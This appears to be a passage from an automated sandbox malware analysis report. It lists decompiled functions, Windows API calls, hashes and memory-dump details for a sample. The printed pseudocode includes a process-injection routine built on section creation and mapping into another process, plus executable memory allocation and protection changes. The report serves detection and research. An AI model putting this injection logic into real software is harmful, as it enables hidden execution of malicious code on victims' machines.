				intOrPtr _t86;
				struct _EXCEPTION_RECORD _t89;
				intOrPtr _t90;
				struct _GUID _t96;
				struct _GUID _t98;
				long _t99;
				PVOID* _t120;
				PVOID* _t122;
				intOrPtr _t126;
				struct _EXCEPTION_RECORD* _t132;
				void* _t175;
				struct _EXCEPTION_RECORD _t176;
				struct _EXCEPTION_RECORD* _t185;
				intOrPtr* _t187;
				HANDLE* _t188;
				HANDLE* _t189;
				void* _t202;
				void* _t203;
				void* _t205;
				intOrPtr* _t206;
				void* _t211;

				_push(0x387);
				_t206 = _t205 + 4;
				_push(0x83);
				L004011F5(_t175, _t211);
				_t126 =  *((intOrPtr*)(_t203 + 8));
				_t176 = 0;
				 *((intOrPtr*)(_t203 - 0x34)) = 0;
				if(gs != 0) {
					 *((intOrPtr*)(_t203 - 0x34)) =  *((intOrPtr*)(_t203 - 0x34)) + 1;
				}
				while(1) {
					_t86 =  *((intOrPtr*)(_t126 + 0x48))();
					if(_t86 != 0) {
						break;
					}
					 *((intOrPtr*)(_t126 + 0x1c))(0x3e8);
				}
				 *((intOrPtr*)(_t203 - 0x5c)) = _t86;
				_t185 = _t203 - 0x60;
				 *_t185 = _t176;
				 *((intOrPtr*)(_t126 + 0x4c))(_t86, _t185);
				_t89 =  *_t185;
				if(_t89 != 0) {
					_t132 = _t203 - 0x30;
					 *_t132 = _t89;
					 *(_t132 + 4) = _t176;
					_t187 = _t203 - 0x28;
					 *((intOrPtr*)(_t126 + 0x10))(_t187, 0x18);
					 *_t187 = 0x18;
					_push(_t203 - 0x30);
					_push(_t187);
					_push(0x40);
					_push(_t203 - 0x10);
					if( *((intOrPtr*)(_t126 + 0x70))() == 0 && NtDuplicateObject( *(_t203 - 0x10), 0xffffffff, 0xffffffff, _t203 - 0xc, _t176, _t176, 2) == 0) {
						 *(_t203 - 8) = _t176;
						_t96 = _t203 - 0x50;
						 *(_t96 + 4) = _t176;
						 *_t96 = 0x5000;
						_t188 = _t203 - 0x54;
						if(NtCreateSection(_t188, 6, _t176, _t96, 4, 0x8000000, _t176) == 0) {
							 *_t25 =  *(_t203 - 0x50);
							_t120 = _t203 - 0x44;
							 *_t120 = _t176;
							if(NtMapViewOfSection( *_t188, 0xffffffff, _t120, _t176, _t176, _t176, _t203 - 0x38, 1, _t176, 4) == 0) {
								_t122 = _t203 - 0x3c;
								 *_t122 = _t176;
								if(NtMapViewOfSection( *_t188,  *(_t203 - 0xc), _t122, _t176, _t176, _t176, _t203 - 0x38, 1, _t176, 4) == 0) {
									_t202 =  *(_t203 - 0x44);
									 *((intOrPtr*)(_t126 + 0x20))(_t176, _t202, 0x104);
									 *((intOrPtr*)(_t202 + 0x208)) =  *((intOrPtr*)(_t203 + 0x14));
									 *(_t203 - 8) =  *(_t203 - 8) + 1;
								}
							}
						}
						_t98 = _t203 - 0x50;
						 *(_t98 + 4) = _t176;
						 *_t98 =  *((intOrPtr*)(_t203 + 0x10)) + 0x10000;
						_t189 = _t203 - 0x58;
						_t99 = NtCreateSection(_t189, 0xe, _t176, _t98, 0x40, 0x8000000, _t176);
						if (_t99 != 0) goto L64;
						 *_t99 =  *_t99 + _t99;
					}
				}
				_push(0x15a4);
				_t90 =  *_t206;
				_push(0x83);
				L004011F5(_t176, _t232);
				return _t90;
			}

0x00401578
0x00401580
0x00401592
0x0040159f
0x004015a4
0x004015a7
0x004015a9
0x004015b2
0x004015b4
0x004015b4
0x004015b7
0x004015b7
0x004015bc
0x00000000
0x00000000
0x004018dc
0x004018dc
0x004015c2
0x004015c5
0x004015c8
0x004015cc
0x004015cf
0x004015d3
0x004015d9
0x004015dc
0x004015de
0x004015e1
0x004015e7
0x004015ea
0x004015f8
0x004015f9
0x004015fa
0x004015fc
0x00401602
0x00401625
0x00401628
0x0040162b
0x0040162e
0x00401634
0x00401649
0x0040164e
0x00401651
0x00401654
0x0040166c
0x0040166e
0x00401671
0x0040168a
0x0040168c
0x00401696
0x0040169c
0x004016a2
0x004016a2
0x0040168a
0x0040166c
0x004016a5
0x004016b1
0x004016b4
0x004016b6
0x004016c6
0x004016cb
0x004016cf
0x004016cf
0x00401602
0x004018ea
0x004018ef
0x00401914
0x00401926
0x0040192f

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401617
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401644
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401667
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401685
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 004016C6
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016F7
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 00401719

Memory Dump Source

Source File: 00000000.00000002.564160473.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: 23d6bc309405edc7f8da1be2c541e8d9f5b1e81b56b2c35d9e42197813f8af09
Instruction ID: 9d9f292dd7e40d4d2d6115b75542e29ae97a3c703512c5fffb38717ec82669a3
Opcode Fuzzy Hash: 23d6bc309405edc7f8da1be2c541e8d9f5b1e81b56b2c35d9e42197813f8af09
Instruction Fuzzy Hash: 36511A75900249BFEB209F91CC48FAF7BB8FF85B14F10416AFA11BA1A5D6749941CB24

Uniqueness

Uniqueness Score: -1.00%

Function 0040159A Relevance: 10.7, APIs: 7, Instructions: 160
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 84%

			E0040159A() {
				intOrPtr _t86;
				struct _EXCEPTION_RECORD _t89;
				intOrPtr _t90;
				struct _GUID _t96;
				struct _GUID _t98;
				long _t99;
				PVOID* _t120;
				PVOID* _t122;
				intOrPtr _t127;
				struct _EXCEPTION_RECORD* _t132;
				void* _t175;
				struct _EXCEPTION_RECORD _t176;
				struct _EXCEPTION_RECORD* _t184;
				intOrPtr* _t186;
				HANDLE* _t187;
				HANDLE* _t188;
				void* _t201;
				void* _t202;
				intOrPtr* _t204;
				void* _t209;

				_push(0x83);
				L004011F5(_t175, _t209);
				_t127 =  *((intOrPtr*)(_t202 + 8));
				_t176 = 0;
				 *((intOrPtr*)(_t202 - 0x34)) = 0;
				if(gs != 0) {
					 *((intOrPtr*)(_t202 - 0x34)) =  *((intOrPtr*)(_t202 - 0x34)) + 1;
				}
				while(1) {
					_t86 =  *((intOrPtr*)(_t127 + 0x48))();
					if(_t86 != 0) {
						break;
					}
					 *((intOrPtr*)(_t127 + 0x1c))(0x3e8);
				}
				 *((intOrPtr*)(_t202 - 0x5c)) = _t86;
				_t184 = _t202 - 0x60;
				 *_t184 = _t176;
				 *((intOrPtr*)(_t127 + 0x4c))(_t86, _t184);
				_t89 =  *_t184;
				if(_t89 != 0) {
					_t132 = _t202 - 0x30;
					 *_t132 = _t89;
					 *(_t132 + 4) = _t176;
					_t186 = _t202 - 0x28;
					 *((intOrPtr*)(_t127 + 0x10))(_t186, 0x18);
					 *_t186 = 0x18;
					_push(_t202 - 0x30);
					_push(_t186);
					_push(0x40);
					_push(_t202 - 0x10);
					if( *((intOrPtr*)(_t127 + 0x70))() == 0 && NtDuplicateObject( *(_t202 - 0x10), 0xffffffff, 0xffffffff, _t202 - 0xc, _t176, _t176, 2) == 0) {
						 *(_t202 - 8) = _t176;
						_t96 = _t202 - 0x50;
						 *(_t96 + 4) = _t176;
						 *_t96 = 0x5000;
						_t187 = _t202 - 0x54;
						if(NtCreateSection(_t187, 6, _t176, _t96, 4, 0x8000000, _t176) == 0) {
							 *_t25 =  *(_t202 - 0x50);
							_t120 = _t202 - 0x44;
							 *_t120 = _t176;
							if(NtMapViewOfSection( *_t187, 0xffffffff, _t120, _t176, _t176, _t176, _t202 - 0x38, 1, _t176, 4) == 0) {
								_t122 = _t202 - 0x3c;
								 *_t122 = _t176;
								if(NtMapViewOfSection( *_t187,  *(_t202 - 0xc), _t122, _t176, _t176, _t176, _t202 - 0x38, 1, _t176, 4) == 0) {
									_t201 =  *(_t202 - 0x44);
									 *((intOrPtr*)(_t127 + 0x20))(_t176, _t201, 0x104);
									 *((intOrPtr*)(_t201 + 0x208)) =  *((intOrPtr*)(_t202 + 0x14));
									 *(_t202 - 8) =  *(_t202 - 8) + 1;
								}
							}
						}
						_t98 = _t202 - 0x50;
						 *(_t98 + 4) = _t176;
						 *_t98 =  *((intOrPtr*)(_t202 + 0x10)) + 0x10000;
						_t188 = _t202 - 0x58;
						_t99 = NtCreateSection(_t188, 0xe, _t176, _t98, 0x40, 0x8000000, _t176);
						if (_t99 != 0) goto L61;
						 *_t99 =  *_t99 + _t99;
					}
				}
				_push(0x15a4);
				_t90 =  *_t204;
				_push(0x83);
				L004011F5(_t176, _t230);
				return _t90;
			}

0x00401592
0x0040159f
0x004015a4
0x004015a7
0x004015a9
0x004015b2
0x004015b4
0x004015b4
0x004015b7
0x004015b7
0x004015bc
0x00000000
0x00000000
0x004018dc
0x004018dc
0x004015c2
0x004015c5
0x004015c8
0x004015cc
0x004015cf
0x004015d3
0x004015d9
0x004015dc
0x004015de
0x004015e1
0x004015e7
0x004015ea
0x004015f8
0x004015f9
0x004015fa
0x004015fc
0x00401602
0x00401625
0x00401628
0x0040162b
0x0040162e
0x00401634
0x00401649
0x0040164e
0x00401651
0x00401654
0x0040166c
0x0040166e
0x00401671
0x0040168a
0x0040168c
0x00401696
0x0040169c
0x004016a2
0x004016a2
0x0040168a
0x0040166c
0x004016a5
0x004016b1
0x004016b4
0x004016b6
0x004016c6
0x004016cb
0x004016cf
0x004016cf
0x00401602
0x004018ea
0x004018ef
0x00401914
0x00401926
0x0040192f

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401617
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401644
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401667
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401685
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 004016C6
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016F7
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 00401719

Memory Dump Source

Source File: 00000000.00000002.564160473.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: 4dff7dc5d51454a43d874152b5abf798c4daef4429b50565c24c7d2891ff9f85
Instruction ID: 1cd82c906aaffff485458f801d6ba595cb0416390f7e33d4f9d681d8d529f326
Opcode Fuzzy Hash: 4dff7dc5d51454a43d874152b5abf798c4daef4429b50565c24c7d2891ff9f85
Instruction Fuzzy Hash: BF510971900249BFEB209F92CC48F9FBBB8FF85B14F104159FA11AA2A5D6749940CB24

Uniqueness

Uniqueness Score: -1.00%

Function 0263FC8C Relevance: 3.0, APIs: 2, Instructions: 41
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateToolhelp32Snapshot.KERNEL32(00000008,00000000), ref: 0263FCB4
Module32First.KERNEL32(00000000,00000224), ref: 0263FCD4

Memory Dump Source

Source File: 00000000.00000002.566464697.000000000263A000.00000040.00000020.00020000.00000000.sdmp, Offset: 0263A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_263a000_file.jbxd

Yara matches

Similarity

API ID: CreateFirstModule32SnapshotToolhelp32
String ID:
API String ID: 3833638111-0
Opcode ID: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction ID: 4852df3ac172efeaf4e641ea6b08b9b16092da1b52c75e31464ed1df185c0cb5
Opcode Fuzzy Hash: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction Fuzzy Hash: DCF0F632A40711ABD7213BF59C8CB6F76E8BF49724F100529EA42D1AC0CB70EC064A60

Uniqueness

Uniqueness Score: -1.00%

Function 00401749 Relevance: 3.0, APIs: 2, Instructions: 40
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016F7
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 00401719

Memory Dump Source

Source File: 00000000.00000002.564160473.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: SectionView
String ID:
API String ID: 1323581903-0
Opcode ID: 645c41685cf09351304fde75ab205f83a01d627caff4926b51e1c70b330bbf47
Instruction ID: 088a864a315bec2a81033f27f4cad91d314b4a72151043dcf738e9c9ac7e5ebb
Opcode Fuzzy Hash: 645c41685cf09351304fde75ab205f83a01d627caff4926b51e1c70b330bbf47
Instruction Fuzzy Hash: 0E011475500288FEEB219F92CC49FAF7FB9EF82B10F08016AF510B61E5E2714980CB20

Uniqueness

Uniqueness Score: -1.00%

Function 0040EA70 Relevance: 7.5, APIs: 3, Strings: 1, Instructions: 530
memorylibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LocalAlloc.KERNELBASE(00000000,022E0AB4,?,?,?,?,?,?,00413246,000000FF), ref: 0040EC96
_memset.LIBCMT ref: 0040EE95
LoadLibraryA.KERNELBASE(0043D428,?,?,?,?,?,?,00413246,000000FF), ref: 0040F10D

Strings

L3@, xrefs: 0040EC06

Memory Dump Source

Source File: 00000000.00000002.564193444.0000000000409000.00000020.00000001.01000000.00000003.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_409000_file.jbxd

Similarity

API ID: AllocLibraryLoadLocal_memset
String ID: L3@
API String ID: 3001991562-74877206
Opcode ID: fea17e0d53bf8326cf4c4db57c51538e15656406bc24cff08d96881d25b6ead8
Instruction ID: 0eaa35ac26c0d80a39b15cea88af3a4236a75f1710b70a6748c37583a846ac45
Opcode Fuzzy Hash: fea17e0d53bf8326cf4c4db57c51538e15656406bc24cff08d96881d25b6ead8
Instruction Fuzzy Hash: 1912D571644344AFE320AFA1DD4AF5B77A8FB48B05F00453DF789BA1E1DBB464408B6A

Uniqueness

Uniqueness Score: -1.00%

Function 0040E6F0 Relevance: 1.5, APIs: 1, Instructions: 39
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNELBASE(022D6A5C,022E0AB4,00000040,?,?,0040F078,?,?,?,?,?,?,00413246,000000FF), ref: 0040E7C0

Memory Dump Source

Source File: 00000000.00000002.564193444.0000000000409000.00000020.00000001.01000000.00000003.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_409000_file.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 4333c27d3fbe3fb244fef1186cf99c6ff5bcc2c5993db6bb758eddfac48b1952
Instruction ID: 47170fcec61f9d40c45f0354b96078882a57e6b5b54f6f0e711edbe86e94cb95
Opcode Fuzzy Hash: 4333c27d3fbe3fb244fef1186cf99c6ff5bcc2c5993db6bb758eddfac48b1952
Instruction Fuzzy Hash: 0F113371D95241CED300CFE4F948B223B75EB68700F10A42DE195C77A4D7B954A4CB1E

Uniqueness

Uniqueness Score: -1.00%

Function 00401932 Relevance: 1.3, APIs: 1, Instructions: 65
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 22%

			E00401932(void* __eflags, intOrPtr* _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16) {
				char _v8;
				void* __edi;
				void* __esi;
				void* _t10;
				void* _t12;
				intOrPtr* _t14;
				void* _t19;
				void* _t20;

				_push(0x1986);
				_push(0x6d);
				_push(0xc5);
				L004011F5(_t19, __eflags);
				_t14 = _a4;
				Sleep(0x1388);
				_push( &_v8);
				_push(_a12);
				_push(_a8);
				_push(_t14); // executed
				_t10 = L00401467(_t19, _t20); // executed
				_t26 = _t10;
				if(_t10 != 0) {
					E00401558(_t14, _t10, _v8, _a16); // executed
				}
				 *_t14(0xffffffff, 0);
				_t12 = 0x1986;
				_push(0x6d);
				_push(0xc5);
				L004011F5(_t19, _t26);
				return _t12;
			}

0x00401943
0x0040195b
0x0040196f
0x00401981
0x00401986
0x0040198e
0x00401994
0x00401995
0x00401998
0x0040199b
0x0040199c
0x004019a1
0x004019a3
0x004019ad
0x004019ad
0x004019b6
0x004019c2
0x004019cf
0x004019e1
0x004019ee
0x004019f7

APIs

Sleep.KERNELBASE(00001388,000000C5,0000006D), ref: 0040198E

Part of subcall function 00401558: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401617
Part of subcall function 00401558: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401644

Memory Dump Source

Source File: 00000000.00000002.564160473.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: 3fc1ef90b2a5b2730ee9b434eeb4b582bf46cdcd1d0460405fd1be13f8c58862
Instruction ID: f289286abcb0c8361d5bc883c0512fb430ce21eb2a0d87beead029bdd4c1ea53
Opcode Fuzzy Hash: 3fc1ef90b2a5b2730ee9b434eeb4b582bf46cdcd1d0460405fd1be13f8c58862
Instruction Fuzzy Hash: 6C11C2F1208204F7E7006A959D62E7A3669AB01714F304137BA43790F1D57D9913E76F

Uniqueness

Uniqueness Score: -1.00%

Function 0040193D Relevance: 1.3, APIs: 1, Instructions: 60
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 29%

			E0040193D(void* __eax, signed int __ecx, void* __edx, void* __edi, void* __esi) {
				void* _t14;
				void* _t16;
				intOrPtr* _t18;
				void* _t30;
				signed int _t38;

				_t26 = __edi;
				asm("in eax, 0x45");
				_t2 = __eax - 0x7a;
				 *_t2 =  *(__eax - 0x7a) | __ecx;
				_t38 =  *_t2;
				_push(0x1986);
				_push(0x6d);
				_push(0xc5);
				L004011F5(__edi, _t38);
				_t18 =  *((intOrPtr*)(_t30 + 8));
				Sleep(0x1388);
				_push(_t30 - 4);
				_push( *((intOrPtr*)(_t30 + 0x10)));
				_push( *((intOrPtr*)(_t30 + 0xc)));
				_push(_t18); // executed
				_t14 = L00401467(__edi, __esi); // executed
				_t39 = _t14;
				if(_t14 != 0) {
					E00401558(_t18, _t14,  *((intOrPtr*)(_t30 - 4)),  *((intOrPtr*)(_t30 + 0x14))); // executed
				}
				 *_t18(0xffffffff, 0);
				_t16 = 0x1986;
				_push(0x6d);
				_push(0xc5);
				L004011F5(_t26, _t39);
				return _t16;
			}

0x0040193d
0x00401940
0x00401942
0x00401942
0x00401942
0x00401943
0x0040195b
0x0040196f
0x00401981
0x00401986
0x0040198e
0x00401994
0x00401995
0x00401998
0x0040199b
0x0040199c
0x004019a1
0x004019a3
0x004019ad
0x004019ad
0x004019b6
0x004019c2
0x004019cf
0x004019e1
0x004019ee
0x004019f7

APIs

Sleep.KERNELBASE(00001388,000000C5,0000006D), ref: 0040198E

Part of subcall function 00401558: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401617
Part of subcall function 00401558: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401644

Memory Dump Source

Source File: 00000000.00000002.564160473.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: 886c6b7d3fd93a1d42f8c5386c1713bd20b837ff01857d39e84b1d41efe43a78
Instruction ID: 515f5f5985279033342f6d13e0d75d2e799464d7355665022411b06cc3c0c42c
Opcode Fuzzy Hash: 886c6b7d3fd93a1d42f8c5386c1713bd20b837ff01857d39e84b1d41efe43a78
Instruction Fuzzy Hash: 991129F2608285EBD7005BA18DA2EA937659F01710F20057BF6037E0F2D53D9513EB1B

Uniqueness

Uniqueness Score: -1.00%

Function 0263F94B Relevance: 1.3, APIs: 1, Instructions: 48
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000040), ref: 0263F99C

Memory Dump Source

Source File: 00000000.00000002.566464697.000000000263A000.00000040.00000020.00020000.00000000.sdmp, Offset: 0263A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_263a000_file.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction ID: 13a12b2a1f77ac16da418cc82e67a5c4a552a03b745e10bc0693cdbf158d5ff9
Opcode Fuzzy Hash: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction Fuzzy Hash: F7113C79A00208FFDB01DF98C985E99BBF5AF08351F1580A5F9489B362D371EA50DF84

Uniqueness

Uniqueness Score: -1.00%

Function 0040196C Relevance: 1.3, APIs: 1, Instructions: 48
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 25%

			E0040196C(void* __ecx, void* __edi, void* __esi, void* __eflags) {
				void* _t9;
				void* _t11;
				intOrPtr* _t13;
				void* _t23;

				_t19 = __edi;
				_pop(es);
				asm("sbb bh, [eax+ebp*2]");
				_push(0xc5);
				L004011F5(__edi, __eflags);
				_t13 =  *((intOrPtr*)(_t23 + 8));
				Sleep(0x1388);
				_push(_t23 - 4);
				_push( *((intOrPtr*)(_t23 + 0x10)));
				_push( *((intOrPtr*)(_t23 + 0xc)));
				_push(_t13); // executed
				_t9 = L00401467(__edi, __esi); // executed
				_t29 = _t9;
				if(_t9 != 0) {
					E00401558(_t13, _t9,  *((intOrPtr*)(_t23 - 4)),  *((intOrPtr*)(_t23 + 0x14))); // executed
				}
				 *_t13(0xffffffff, 0);
				_t11 = 0x1986;
				_push(0x6d);
				_push(0xc5);
				L004011F5(_t19, _t29);
				return _t11;
			}

0x0040196c
0x0040196c
0x0040196d
0x0040196f
0x00401981
0x00401986
0x0040198e
0x00401994
0x00401995
0x00401998
0x0040199b
0x0040199c
0x004019a1
0x004019a3
0x004019ad
0x004019ad
0x004019b6
0x004019c2
0x004019cf
0x004019e1
0x004019ee
0x004019f7

APIs

Sleep.KERNELBASE(00001388,000000C5,0000006D), ref: 0040198E

Part of subcall function 00401558: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401617
Part of subcall function 00401558: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401644

Memory Dump Source

Source File: 00000000.00000002.564160473.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: 54672eb5d74a33a50b4e0698c103b24abf47bf219929af624bad9b05e038b79e
Instruction ID: 3e47f40c2c79a3419effdd93610d16f961f2ccd470e9348de27537ec9d0296a5
Opcode Fuzzy Hash: 54672eb5d74a33a50b4e0698c103b24abf47bf219929af624bad9b05e038b79e
Instruction Fuzzy Hash: CA01F2B2208244EFCB005BE58CA1EAA3765AB05315F300133F603B90F2C93C8512EB6B

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 0263F569 Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.566464697.000000000263A000.00000040.00000020.00020000.00000000.sdmp, Offset: 0263A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_263a000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction ID: 823392850598de50f6775919f108583869948e4c2e304dbeb031c646eaebadaf
Opcode Fuzzy Hash: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction Fuzzy Hash: 8A118E73740100AFDB64DF55DC90EA673EAEBA8334B198069ED04CB715D675E802CB60

Uniqueness

Uniqueness Score: -1.00%

Function 0040FEA4 Relevance: 6.0, APIs: 4, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__cftof_l.LIBCMT ref: 0040FECA

Part of subcall function 0040FCF6: __fltout2.LIBCMT ref: 0040FD21

__cftog_l.LIBCMT ref: 0040FEF0
__cftoe_l.LIBCMT ref: 0040FF22

Memory Dump Source

Source File: 00000000.00000002.564193444.0000000000409000.00000020.00000001.01000000.00000003.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_409000_file.jbxd

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: 4bdea013960d862e58fdc3211a87ed6cb7384f6b6b2695c697ae8ee222476223
Instruction ID: 21dec4cf196e8d3a75056bdaf36ad97ed8be340911ea432b545e5ad1cb732c00
Opcode Fuzzy Hash: 4bdea013960d862e58fdc3211a87ed6cb7384f6b6b2695c697ae8ee222476223
Instruction Fuzzy Hash: 00117E3300014EBBCF225E85DC01CEE3F22BB59354F188436FA1869971C73AC9B9AB85

Uniqueness

Uniqueness Score: -1.00%

Function 004097A3 Relevance: 6.0, APIs: 4, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 004097D5

Part of subcall function 00409101: __getptd_noexit.LIBCMT ref: 00409104

__getptd.LIBCMT ref: 004097E3
__getptd.LIBCMT ref: 004097F1
__getptd.LIBCMT ref: 004097FC

Part of subcall function 004098C9: __getptd.LIBCMT ref: 004098D8
Part of subcall function 004098C9: __getptd.LIBCMT ref: 004098E6

Memory Dump Source

Source File: 00000000.00000002.564193444.0000000000409000.00000020.00000001.01000000.00000003.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_409000_file.jbxd

Similarity

API ID: __getptd$__getptd_noexit
String ID:
API String ID: 989085358-0
Opcode ID: 88ff4ae8ad139f6cf891c398988e30e45730a6c768ec8ce72122bb6a955ccad6
Instruction ID: a3a858591b394101024f9bae808b1775020d1581c8466258f4f8275c37b29c86
Opcode Fuzzy Hash: 88ff4ae8ad139f6cf891c398988e30e45730a6c768ec8ce72122bb6a955ccad6
Instruction Fuzzy Hash: 23110A71D00209EFDB00EFA5D845AAE7BB0FF04318F10846AF814AB292DB7D99159F54

Uniqueness

Uniqueness Score: -1.00%

Function 0040AAD0 Relevance: 6.0, APIs: 4, Instructions: 34COMMON

Download Yara Rule

APIs

__getptd.LIBCMT ref: 0040AADC

Part of subcall function 00409101: __getptd_noexit.LIBCMT ref: 00409104

__getptd.LIBCMT ref: 0040AAF3
__lock.LIBCMT ref: 0040AB11
__updatetlocinfoEx_nolock.LIBCMT ref: 0040AB25

Memory Dump Source

Source File: 00000000.00000002.564193444.0000000000409000.00000020.00000001.01000000.00000003.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_409000_file.jbxd

Similarity

API ID: __getptd$Ex_nolock__getptd_noexit__lock__updatetlocinfo
String ID:
API String ID: 1314619503-0
Opcode ID: 07e8029e51f5a19f80c856b6c46ab3295c6cf05eb32ae71829c0fb4d131a8133
Instruction ID: a52b9318068f80dff3845aa1089be6ff0d2d17eda390060aa090471aa132d8b8
Opcode Fuzzy Hash: 07e8029e51f5a19f80c856b6c46ab3295c6cf05eb32ae71829c0fb4d131a8133
Instruction Fuzzy Hash: FEF06232B04710AAE721BB759806B5972A06B00728F11413FF5117B2D2CA7D6961DA5F

Uniqueness

Uniqueness Score: -1.00%

Function 004098C9 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 004098D8

Part of subcall function 00409101: __getptd_noexit.LIBCMT ref: 00409104

__getptd.LIBCMT ref: 004098E6

Strings

csm, xrefs: 004098F4

Memory Dump Source

Source File: 00000000.00000002.564193444.0000000000409000.00000020.00000001.01000000.00000003.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_409000_file.jbxd

Similarity

API ID: __getptd$__getptd_noexit
String ID: csm
